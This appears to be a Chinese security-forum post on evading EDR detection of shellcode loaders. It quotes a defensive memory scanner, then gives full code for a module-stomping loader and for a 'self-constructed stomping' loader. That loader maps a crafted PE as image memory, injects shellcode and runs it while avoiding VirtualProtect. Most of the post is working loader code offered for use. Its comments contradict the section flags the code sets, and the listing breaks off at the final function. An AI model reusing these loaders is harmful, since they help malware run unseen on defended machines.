[原创]基于模块践踏的反思产生的全新SHELLCODE检测绕过
本文提出Self-constructed Stomping技术,通过动态构造最小PE文件绕过EDR对Shellcode的检测。核心方法是利用NtCreateSection(SEC_IMAGE)和NtMapViewOfSection将自定义PE映射为MEM_IMAGE内存,在节表中声明EXECUTE|
· 背景知识
当代 EDR / EPP 目前都依赖调用栈来查杀SHELLCODE,HOOK你内存函数,扫你内存特征,扫特征,然后再结合你这个程序联网的特征,直接就可以判定你是SHELLCODE加载了
那你不好奇
为什么可以通过调用栈查杀SHELLCODE吗?
· 一个最简单的加载器
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "subsystem:\"Windwos\" /entry:\"mainCRTStartup\ " ")
int main(){
char shellcode[]= "SHELLCODE";
void* exec=VirtualAlloc(0,sizeof(shellcode), MEM_COMMIT, PAGE_EXXCUTE_READWRITE);
memcpy(exec,shellcode,sizeof (shellcode));
((void(*)())exec)();
}· 查杀要点
我们要查杀这个SHELLCODE,重点就是这个EXECUTE。
你的VAD变化了,反作弊也经常这么查。
调用栈回溯->查你栈帧->如果栈帧在UNBACKED MEMORY之中,那八九不离十是个SHELLCODE或者JIT代码
以下是从鸭鸭的Sleep Duck Eye中摘取的代码
auto SimpleCheckIn2020(HANDLE hProcess, uint64_t Address) -> bool {
MEMORY_BASIC_INFORMATION mbi = {0};
SIZE_T ReadNum = 0;
bool detect = false;
do {
if (VirtualQueryEx(hProcess, (PVOID)Address, &mbi, sizeof(mbi)) ==
false) {
break;
}
if (mbi.Type == MEM_IMAGE) {
break;
}
bool CheckExcuteFlag = mbi.AllocationProtect & PAGE_EXECUTE ||
mbi.AllocationProtect & PAGE_EXECUTE_READ ||
mbi.AllocationProtect & PAGE_EXECUTE_READWRITE ||
mbi.AllocationProtect & PAGE_EXECUTE_WRITECOPY;
if (CheckExcuteFlag) {
printf("rwx memory detect-> \n\t");
PrintProcessInfoFromHandle(hProcess);
detect = true;
char PEStack[0x2];
if (ReadProcessMemory(hProcess, mbi.BaseAddress, PEStack,
sizeof(PEStack), &ReadNum)) {
if (PEStack[0] == 'M' && PEStack[1] == 'Z') {
printf("rwx memory has pe module-> \n\t");
PrintProcessInfoFromHandle(hProcess);
}
}
} else if (mbi.AllocationProtect & PAGE_READONLY ||
mbi.AllocationProtect & PAGE_READWRITE ||
mbi.AllocationProtect & PAGE_NOACCESS) {
printf("no-excute-page detect at %p \n\t", Address);
PrintProcessInfoFromHandle(hProcess);
detect = true;
}
} while (false);
return detect;
}他做了什么,很简单,打开进程,遍历内存块,判是不是IMAGE,是IMAGE就跳过。
然后判断内存属性是不是PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY其中一个
如果是:那就说明这玩意是UNBACKED MEMORY啊,那你很可疑了
这种直接VirtualAlloc UNBACKED MEMORY然后加载SHELLCODE的方式在NGAV眼里就和裸奔一样,通通被看光。
一下就被揪出来了。
这时候聪明的你,肯定会上网查资料了,这时候你又能查到一个技术叫
MODULE STOMPING(模块践踏)
· MODULE STOMPING原理
· 代码分析
引用项目代码:模块践踏GITHUB
(其实看到他的测试还蛮无语的,其他的不知道,你测个360干嘛,360可不查SHELLCODE)
咳咳...回归正题。
BOOL LoadDllFile(IN LPCSTR szDllFilePath, OUT HMODULE* phModule, OUT PULONG_PTR puEntryPnt)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
LPVOID pFileBuffer = NULL;
LPVOID pImageBase = NULL;
BOOL bRet = FALSE;
DWORD dwFileSize = 0;
DWORD dwBytesRead = 0;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
hFile = CreateFileA(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
goto END;
}
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE)
{
goto END;
}
pFileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pFileBuffer)
{
goto END;
}
if (!ReadFile(hFile, pFileBuffer, dwFileSize, &dwBytesRead, NULL) || dwBytesRead != dwFileSize)
{
goto END;
}
pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
goto END;
}
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBuffer + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
goto END;
}
pImageBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pImageBase)
{
goto END;
}
memcpy(pImageBase, pFileBuffer, pNtHeaders->OptionalHeader.SizeOfHeaders);
pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
memcpy((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress,
(BYTE*)pFileBuffer + pSectionHeader[i].PointerToRawData,
pSectionHeader[i].SizeOfRawData);
}
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
{
PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pImageBase +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
ULONG_PTR delta = (ULONG_PTR)pImageBase - pNtHeaders->OptionalHeader.ImageBase;
while (pReloc->SizeOfBlock)
{
WORD* pRelocData = (WORD*)((BYTE*)pReloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < count; i++)
{
if (pRelocData[i] >> 12 == IMAGE_REL_BASED_HIGHLOW)
{
ULONG_PTR* pPatch = (ULONG_PTR*)((BYTE*)pImageBase + pReloc->VirtualAddress + (pRelocData[i] & 0xFFF));
*pPatch += delta;
}
}
pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pReloc + pReloc->SizeOfBlock);
}
}
if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pImageBase +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pImportDesc->Name)
{
LPCSTR pszDllName = (LPCSTR)((BYTE*)pImageBase + pImportDesc->Name);
HMODULE hDll = LoadLibraryA(pszDllName);
if (hDll)
{
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDesc->FirstThunk);
if (pImportDesc->OriginalFirstThunk)
{
PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDesc->OriginalFirstThunk);
while (pOrigThunk->u1.AddressOfData)
{
if (pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
pThunk->u1.Function = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)(pOrigThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pImageBase + pOrigThunk->u1.AddressOfData);
pThunk->u1.Function = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)pImport->Name);
}
pOrigThunk++;
pThunk++;
}
}
}
pImportDesc++;
}
}
DWORD oldProtect;
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
DWORD protect = 0;
DWORD characteristics = pSectionHeader[i].Characteristics;
if (characteristics & IMAGE_SCN_MEM_EXECUTE)
{
if (characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_EXECUTE_READWRITE;
else if (characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_EXECUTE_READ;
else
protect = PAGE_EXECUTE;
}
else
{
if (characteristics & IMAGE_SCN_MEM_WRITE)
protect = PAGE_READWRITE;
else if (characteristics & IMAGE_SCN_MEM_READ)
protect = PAGE_READONLY;
else
protect = PAGE_NOACCESS;
}
if (!VirtualProtect((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress,
pSectionHeader[i].Misc.VirtualSize,
protect,
&oldProtect))
{
goto END;
}
}
*phModule = (HMODULE)pImageBase;
*puEntryPnt = (ULONG_PTR)pImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
bRet = TRUE;
END:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return bRet;
}
BOOL VerifyInjection(IN ULONG_PTR uSacrificialModule, IN ULONG_PTR uEntryPoint, IN SIZE_T sPayloadSize)
{
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSecHdr = NULL;
ULONG_PTR uTextAddress = 0;
SIZE_T sTextSize = 0;
SIZE_T sTextSizeLeft = 0;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uSacrificialModule + ((PIMAGE_DOS_HEADER)uSacrificialModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++)
{
if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.')
{
uTextAddress = uSacrificialModule + pImgSecHdr[i].VirtualAddress;
sTextSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
if (!uTextAddress || !sTextSize)
return FALSE;
sTextSizeLeft = sTextSize - (uEntryPoint - uTextAddress);
#ifdef _DEBUG
printf("[i] Payload Size: %d Byte\n", (int)sPayloadSize);
printf("[i] Available Memory (Starting From The EP): %d Byte\n", (int)sTextSizeLeft);
#endif // _DEBUG
if (sTextSizeLeft >= sPayloadSize)
return TRUE;
return FALSE;
}
BOOL ModuleStomp(IN PBYTE pBuffer, IN SIZE_T sBufferSize)
{
NTSTATUS STATUS = STATUS_SUCCESS;
LPVOID mainFiber = NULL;
HMODULE hSacrificialModule = NULL;
ULONG_PTR uEntryPoint = 0;
HANDLE hThread = NULL;
DWORD dwOldProtection = 0; //combase.dll
CHAR szSacrificialDll[] = { 'C', ':', '\\',
'W', 'i', 'n', 'd', 'o', 'w',
's', '\\',
'S', 'y', 's', 't', 'e', 'm', '3', '2',
'\\',
'c', 'o', 'm', 'b', 'a', 's', 'e', '.', 'd', 'l', 'l',
'\0' };
if (!LoadDllFile(szSacrificialDll, &hSacrificialModule, &uEntryPoint))
return FALSE;
#ifdef _DEBUG
printf("[*] %ws Loaded Successfully At: 0x%p \n", szSacrificialDll, (PVOID)hSacrificialModule);
printf("[i] Entry Point: 0x%p \n", (PVOID)uEntryPoint);
#endif // DEBUG
if (!VerifyInjection((ULONG_PTR)hSacrificialModule, uEntryPoint, sBufferSize))
return FALSE;
if (!VirtualProtect((LPVOID)uEntryPoint, sBufferSize, PAGE_READWRITE, &dwOldProtection))
return FALSE;
memcpy((void*)uEntryPoint, pBuffer, sBufferSize);
if (!IsThreadAFiber()) {
mainFiber = ConvertThreadToFiber(NULL);
}
else {
mainFiber = GetCurrentFiber();
}
if (mainFiber) {
if (!VirtualProtect((LPVOID)uEntryPoint, sBufferSize, dwOldProtection, &dwOldProtection))
{
return FALSE;
}
LPVOID beaconFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)uEntryPoint, NULL);
if (beaconFiber) {
SwitchToFiber(beaconFiber);
// control returns here only if shellcode returns (rare)
DeleteFiber(beaconFiber);
}
}
return TRUE;
}流程如下:
手动映射一份合法系统 DLL(
C:\Windows\System32\combase.dll)到内存(不走LoadLibrary,避免 API 监控 / 模块列表记录)校验该 DLL 的
.text段从入口点开始剩余空间是否装得下 payload把 shellcode 覆写进
.text段入口点(Module Stomping)用 Fiber 切过去执行,规避
CreateThread/NtCreateThreadEx这类线程创建回调检测。
· 检测面
观察现在EDR/EPP的主流检测点(两点):
1.系统DLL的内存和磁盘结果对不上

2.VirtualProtect到系统DLL里面了,而且还是空处或者覆盖原有内容,那很有可能就是HOOK或者加载器,扫扫特征就能区分出来,那你变化了两次,而且变化的还是同一地址,还变回了EXECUTE,那肯定可疑啊

· 反思
为啥这个东西现在各大厂商都在查,原因:
1.大家惯性思维的查UNBACKED MEMORY内存失效了,实际上就是需要加班了,不能依赖已有的规则直接抗了
2.用的系统DLL,一时间很多人没啥思路可以查这个。
那么我们针对以上特点,能不能改进一下这个技术呢
注意到,现在大家还都是使用的VirtualProtect,因为属性问题,必须得改一下才能注SHELLCODE进去,再改回去才能执行。
那我们退而求其次,我们不用系统DLL不就行了,我们自己构造一个PE文件,PE结构都是我们控制的,我把这个技术叫做Self-constructed Stomping(自构建践踏)
· Self-constructed Stomping技术详解
优点:不需要用VirtualProtect改内存,内存区域可以自己控制
缺点:用的是自己的动态构造的DLL,而非系统DLL,但是好消息是,DLL几乎什么都不需要有,构造的好不会被特征杀。
· 思路
造一个最小 x64 PE:.text 原始数据全零,节表声明 EXECUTE|READ|WRITE,AddressOfEntryPoint = .text RVA
|
↓
写入 %TEMP% 临时文件
|
↓
用 GENERIC_READ|GENERIC_EXECUTE 重开文件
|
↓
NtCreateSection(SEC_IMAGE, hFile) → CloseHandle(hFile)
|
↓
NtMapViewOfSection → DeleteFileW 临时文件
|
↓
memcpy 把 shellcode 写进 base + .text RVA
|
↓
直接 call 入口(SEH 兜底)
|
↓
NtUnmapViewOfSection + NtClose· 为什么这样可以绕过
1.目前NGAV的大多数规则都是这样:
你VirtualProtect两次->匹配DLL是否为系统DLL->检查CRC或者查内存
注意这一步是检查是否是系统DLL,很少有NGAV是全部DLL都检查的,占用太大了(除了某支持自定义规则的S1)
2.没有用VirtualProtect明显让NGAV少了检查的触发点(当然也新增了一些触发点),但至少这是比较新的,还没新增触发点,哈哈...
· 代码以及详解
以下代码均是验证级别代码,也就是暂时确实可以绕过,但是要绕过更多的监测点,还要自己补:
static bool BuildHostPe(size_t shellcodeSize, uintptr_t imageBase, std::vector<uint8_t>& pe) {
if (shellcodeSize == 0 || shellcodeSize > MAXDWORD) {
return false;
}
const DWORD scRaw = AlignUp(static_cast<DWORD>(shellcodeSize), kFileAlignment);
const DWORD scVirt = AlignUp(static_cast<DWORD>(shellcodeSize), kSectionAlignment);
const DWORD fixRaw = kFileAlignment; // 前四节各占一个文件对齐
// 文件布局
const DWORD textRawOff = kFileAlignment; // 0x200
const DWORD rdataRawOff = textRawOff + fixRaw; // 0x400
const DWORD dataRawOff = rdataRawOff + fixRaw; // 0x600
const DWORD rdat2RawOff = dataRawOff + fixRaw; // 0x800
const DWORD scRawOff = rdat2RawOff + fixRaw; // 0xA00
pe.assign(static_cast<size_t>(scRawOff) + scRaw, 0); // .sc 原始数据全零,shellcode 不落盘
// DOS header
IMAGE_DOS_HEADER dos = {};
dos.e_magic = IMAGE_DOS_SIGNATURE;
dos.e_lfanew = sizeof(IMAGE_DOS_HEADER);
std::memcpy(pe.data(), &dos, sizeof(dos));
const size_t ntOffset = sizeof(IMAGE_DOS_HEADER);
std::memcpy(pe.data() + ntOffset, "PE\0\0", 4);
// File header
IMAGE_FILE_HEADER fh = {};
fh.Machine = IMAGE_FILE_MACHINE_AMD64;
fh.NumberOfSections = 5; // ★ 五节
fh.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
fh.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LARGE_ADDRESS_AWARE;
std::memcpy(pe.data() + ntOffset + 4, &fh, sizeof(fh));
IMAGE_OPTIONAL_HEADER64 oh = {};
oh.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
oh.MajorOperatingSystemVersion = 6;
oh.MinorOperatingSystemVersion = 0;
oh.MajorSubsystemVersion = 6;
oh.MinorSubsystemVersion = 0;
oh.SizeOfCode = kTextSize;
oh.BaseOfCode = kTextRva; // ← 之后直接是 ImageBase
oh.ImageBase = static_cast<ULONGLONG>(imageBase);
oh.SectionAlignment = kSectionAlignment;
oh.FileAlignment = kFileAlignment;
oh.SizeOfImage = AlignUp(kScRva + scVirt, kSectionAlignment);
oh.SizeOfHeaders = kSizeOfHeaders;
oh.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
oh.SizeOfStackReserve = 0x100000;
oh.SizeOfStackCommit = 0x1000;
oh.SizeOfHeapReserve = 0x100000;
oh.SizeOfHeapCommit = 0x1000;
oh.NumberOfRvaAndSizes = IMAGE_NUMBEROF_DIRECTORY_ENTRIES;
oh.AddressOfEntryPoint = kScRva;
std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh), &oh, sizeof(oh));
IMAGE_SECTION_HEADER sh[5] = {};
// .text —— EXECUTE|READ → PAGE_EXECUTE_READ
std::memcpy(sh[0].Name, ".text", 5);
sh[0].Misc.VirtualSize = kTextSize;
sh[0].VirtualAddress = kTextRva;
sh[0].SizeOfRawData = fixRaw;
sh[0].PointerToRawData = textRawOff;
sh[0].Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
// .rdata —— READ → PAGE_READONLY
std::memcpy(sh[1].Name, ".rdata", 6);
sh[1].Misc.VirtualSize = kRdataSize;
sh[1].VirtualAddress = kRdataRva;
sh[1].SizeOfRawData = fixRaw;
sh[1].PointerToRawData = rdataRawOff;
sh[1].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;
// .data —— READ|WRITE → PAGE_READWRITE
std::memcpy(sh[2].Name, ".data", 5);
sh[2].Misc.VirtualSize = kDataSize;
sh[2].VirtualAddress = kDataRva;
sh[2].SizeOfRawData = fixRaw;
sh[2].PointerToRawData = dataRawOff;
sh[2].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
// .rdat2 —— READ → PAGE_READONLY
std::memcpy(sh[3].Name, ".rdat2", 6);
sh[3].Misc.VirtualSize = kRdat2Size;
sh[3].VirtualAddress = kRdat2Rva;
sh[3].SizeOfRawData = fixRaw;
sh[3].PointerToRawData = rdat2RawOff;
sh[3].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;
// .sc —— EXECUTE|WRITE
std::memcpy(sh[4].Name, ".sc", 3);
sh[4].Misc.VirtualSize = static_cast<DWORD>(shellcodeSize);
sh[4].VirtualAddress = kScRva;
sh[4].SizeOfRawData = scRaw;
sh[4].PointerToRawData = scRawOff;
sh[4].Characteristics = IMAGE_SCN_CNT_CODE |
IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;
std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh) + sizeof(oh), sh, sizeof(sh));
return true;
}传入一个ShellcodeSize,给.text节留下足够大的空间,此时创建的.text节是空的,因为到时候要注SHELLCODE,然后就创建好了一个自构建的最小内存PE。
这就是核心了。
接着要做的事情就很简单了:
在我的内存中寻找一块足够大的内存用来存放我的这个最小PE,以便之后的映射->
将最小PE写入盘中->NtCreateSection+NtMapViewOfSection进行映射->映射完之后文件就可以删掉了->移动/删除文件(运行中的文件可以移动,虽然FileObject是一样的,但是很多EDR是直接根据文件路径来查的)(这一步是变体可以加的,这里仅验证技术,不展开变体了)->接着复制SHELLCODE到IMAGE内存中
void* codeSection = reinterpret_cast<void*>(
reinterpret_cast<uintptr_t>(imageBaseMapped) + kShellcodeRva);
std::memcpy(codeSection, ShellcodeInfo, Size);
FlushInstructionCache(GetCurrentProcess(), codeSection, Size);->最后直接RUN
· 内存属性分析
正常的DLL:

恶意的最小PE:

眼尖的人可以看出,恶意最小PE有一个IMAGE内存的PAGE_EXECUTE_READWRITE。
这就是特征,但是仅限于这个最小验证的特征
· 完整代码
// In-memory IMAGE-backed shellcode loader.
// Flow:
// 1. Build a minimal x64 PE image whose .text section is EMPTY (no shellcode
// bytes in the file at all).
// 2. Write the host PE to a transient temp file, reopen with execute access.
// 3. NtCreateSection(SEC_IMAGE) -> close the file handle (release the file).
// 4. NtMapViewOfSection -> delete the temp file, copy ntdll.dll sections over
// the writable part of the module (header pages stay as the host PE).
// 5. Write the shellcode into the mapped .text section in memory.
// 6. Execute the entry directly.
//
// No VirtualProtect/NtProtectVirtualMemory is ever called. For SEC_IMAGE
// mappings every page's protection is derived from the PE section table, so
// declaring .text as EXECUTE|READ|WRITE makes it PAGE_EXECUTE_WRITECOPY at
// map time: writable for the shellcode AND executable for the entry point.
// Protection changes on IMAGE-backed executable memory are reported by kernel
// ETW as critical-memory-corruption (the alert this loader must avoid), so the
// loader performs none - not on .text and not on the header pages (which are
// read-only by construction).
// VirtualQuery reports Type == MEM_IMAGE (same as a real module), without
// stomping an existing module and without LoadLibrary.
#include <Windows.h>
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>
#include "ntdll.h"
#include "rawData.h"
namespace beacon {
namespace {
constexpr DWORD kSectionAlignment = 0x1000;
constexpr DWORD kFileAlignment = 0x0200;
constexpr DWORD kSizeOfHeaders = 0x1000;
constexpr DWORD kTextRva = 0x1000;
constexpr DWORD kTextSize = 0x1000;
constexpr DWORD kRdataRva = 0x2000;
constexpr DWORD kRdataSize = 0x1000;
constexpr DWORD kDataRva = 0x3000;
constexpr DWORD kDataSize = 0x1000;
constexpr DWORD kRdat2Rva = 0x4000;
constexpr DWORD kRdat2Size = 0x1000;
constexpr DWORD kScRva = 0x5000; // shellcode 节,同时作为入口点
constexpr DWORD kSecImage = 0x01000000; // SEC_IMAGE
constexpr DWORD kViewUnmap = 2; // SECTION_INHERIT::ViewUnmap
static DWORD AlignUp(DWORD value, DWORD alignment) {
if (alignment == 0) {
return value;
}
const DWORD rem = value % alignment;
return rem == 0 ? value : value + (alignment - rem);
}
static uintptr_t AlignUpPtr(uintptr_t value, uintptr_t alignment) {
if (alignment == 0) {
return value;
}
const uintptr_t rem = value % alignment;
return rem == 0 ? value : value + (alignment - rem);
}
// ============================================================================
// SEH-guarded call helper. Kept free of C++ objects so __try is legal
// (MSVC C2712). Returns 0 when the entry returned normally, otherwise the
// exception code. Mirrors the __try/__except block of loader.cpp.
// ============================================================================
static DWORD RunShellcode(void* entry) {
#ifdef _MSC_VER
DWORD status = 0;
__try {
reinterpret_cast<void(*)()>(entry)();
}
__except (EXCEPTION_EXECUTE_HANDLER) {
status = GetExceptionCode();
}
return status;
#else
// MinGW/GCC: direct call (no SEH available)
reinterpret_cast<void(*)()>(entry)();
return 0;
#endif
}
static void LogNtStatus(const char* stage, NTSTATUS status) {
char buf[192];
snprintf(buf, sizeof(buf), "shellcode_x load failed: %s status=0x%08lX",
stage, static_cast<unsigned long>(status));
}
// ============================================================================
// Find a free 64KB-aligned region large enough for the image. The crafted
// PE has no relocation directory, so its ImageBase must be a free address.
// ============================================================================
static uintptr_t FindFreeImageBase(size_t imageSize) {
const uintptr_t allocGran = 0x10000;
const size_t need = AlignUpPtr(imageSize, allocGran);
const uintptr_t maxAddr = 0x00007FFFFFFF0000ULL;
uintptr_t addr = allocGran;
while (addr < maxAddr) {
MEMORY_BASIC_INFORMATION mbi = {};
if (VirtualQuery(reinterpret_cast<LPCVOID>(addr), &mbi, sizeof(mbi)) == 0) {
addr += allocGran;
continue;
}
const uintptr_t regionEnd =
reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize;
if (mbi.State == MEM_FREE) {
uintptr_t start = AlignUpPtr(reinterpret_cast<uintptr_t>(mbi.BaseAddress), allocGran);
if (start < addr) {
start = addr;
}
if (start + need <= regionEnd) {
return start;
}
}
addr = AlignUpPtr(regionEnd, allocGran);
}
return 0;
}
// ============================================================================
// Build a minimal x64 PE image with an EMPTY .text section sized to fit
// the shellcode. The shellcode bytes are NOT part of the file; they are
// written into the mapped .text after the image is mapped.
// ============================================================================
static bool BuildHostPe(size_t shellcodeSize, uintptr_t imageBase, std::vector<uint8_t>& pe) {
if (shellcodeSize == 0 || shellcodeSize > MAXDWORD) {
return false;
}
const DWORD scRaw = AlignUp(static_cast<DWORD>(shellcodeSize), kFileAlignment);
const DWORD scVirt = AlignUp(static_cast<DWORD>(shellcodeSize), kSectionAlignment);
const DWORD fixRaw = kFileAlignment; // 前四节各占一个文件对齐
// 文件布局
const DWORD textRawOff = kFileAlignment; // 0x200
const DWORD rdataRawOff = textRawOff + fixRaw; // 0x400
const DWORD dataRawOff = rdataRawOff + fixRaw; // 0x600
const DWORD rdat2RawOff = dataRawOff + fixRaw; // 0x800
const DWORD scRawOff = rdat2RawOff + fixRaw; // 0xA00
pe.assign(static_cast<size_t>(scRawOff) + scRaw, 0); // .sc 原始数据全零,shellcode 不落盘
// DOS header
IMAGE_DOS_HEADER dos = {};
dos.e_magic = IMAGE_DOS_SIGNATURE;
dos.e_lfanew = sizeof(IMAGE_DOS_HEADER);
std::memcpy(pe.data(), &dos, sizeof(dos));
const size_t ntOffset = sizeof(IMAGE_DOS_HEADER);
std::memcpy(pe.data() + ntOffset, "PE\0\0", 4);
// File header
IMAGE_FILE_HEADER fh = {};
fh.Machine = IMAGE_FILE_MACHINE_AMD64;
fh.NumberOfSections = 5; // ★ 五节
fh.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
fh.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LARGE_ADDRESS_AWARE;
std::memcpy(pe.data() + ntOffset + 4, &fh, sizeof(fh));
IMAGE_OPTIONAL_HEADER64 oh = {};
oh.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
oh.MajorOperatingSystemVersion = 6;
oh.MinorOperatingSystemVersion = 0;
oh.MajorSubsystemVersion = 6;
oh.MinorSubsystemVersion = 0;
oh.SizeOfCode = kTextSize;
oh.BaseOfCode = kTextRva; // ← 之后直接是 ImageBase
oh.ImageBase = static_cast<ULONGLONG>(imageBase);
oh.SectionAlignment = kSectionAlignment;
oh.FileAlignment = kFileAlignment;
oh.SizeOfImage = AlignUp(kScRva + scVirt, kSectionAlignment);
oh.SizeOfHeaders = kSizeOfHeaders;
oh.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
oh.SizeOfStackReserve = 0x100000;
oh.SizeOfStackCommit = 0x1000;
oh.SizeOfHeapReserve = 0x100000;
oh.SizeOfHeapCommit = 0x1000;
oh.NumberOfRvaAndSizes = IMAGE_NUMBEROF_DIRECTORY_ENTRIES;
oh.AddressOfEntryPoint = kScRva;
std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh), &oh, sizeof(oh));
IMAGE_SECTION_HEADER sh[5] = {};
// .text —— EXECUTE|READ → PAGE_EXECUTE_READ
std::memcpy(sh[0].Name, ".text", 5);
sh[0].Misc.VirtualSize = kTextSize;
sh[0].VirtualAddress = kTextRva;
sh[0].SizeOfRawData = fixRaw;
sh[0].PointerToRawData = textRawOff;
sh[0].Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
// .rdata —— READ → PAGE_READONLY
std::memcpy(sh[1].Name, ".rdata", 6);
sh[1].Misc.VirtualSize = kRdataSize;
sh[1].VirtualAddress = kRdataRva;
sh[1].SizeOfRawData = fixRaw;
sh[1].PointerToRawData = rdataRawOff;
sh[1].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;
// .data —— READ|WRITE → PAGE_READWRITE
std::memcpy(sh[2].Name, ".data", 5);
sh[2].Misc.VirtualSize = kDataSize;
sh[2].VirtualAddress = kDataRva;
sh[2].SizeOfRawData = fixRaw;
sh[2].PointerToRawData = dataRawOff;
sh[2].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
// .rdat2 —— READ → PAGE_READONLY
std::memcpy(sh[3].Name, ".rdat2", 6);
sh[3].Misc.VirtualSize = kRdat2Size;
sh[3].VirtualAddress = kRdat2Rva;
sh[3].SizeOfRawData = fixRaw;
sh[3].PointerToRawData = rdat2RawOff;
sh[3].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;
// .sc —— EXECUTE|WRITE
std::memcpy(sh[4].Name, ".sc", 3);
sh[4].Misc.VirtualSize = static_cast<DWORD>(shellcodeSize);
sh[4].VirtualAddress = kScRva;
sh[4].SizeOfRawData = scRaw;
sh[4].PointerToRawData = scRawOff;
sh[4].Characteristics = IMAGE_SCN_CNT_CODE |
IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;
std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh) + sizeof(oh), sh, sizeof(sh));
return true;
}
} // namespace
// ============================================================================
// Load and execute shellcode in a fresh IMAGE-backed memory region
// (VirtualQuery Type == MEM_IMAGE). The shellcode is written into the mapped
// .text section AFTER the mapping is established; the transient temp file is
// deleted before that and never contains the shellcode. After the deletion
// the system ntdll.dll is copied over the mapped module address so the region
// reads like a real ntdll.dll module (shellcode then lands in its .text).
// ============================================================================
bool LoadShellcode_x(char* ShellcodeInfo, size_t Size) {
// -----------------------------------------------------------------------
// Step 1: Validate input
// -----------------------------------------------------------------------
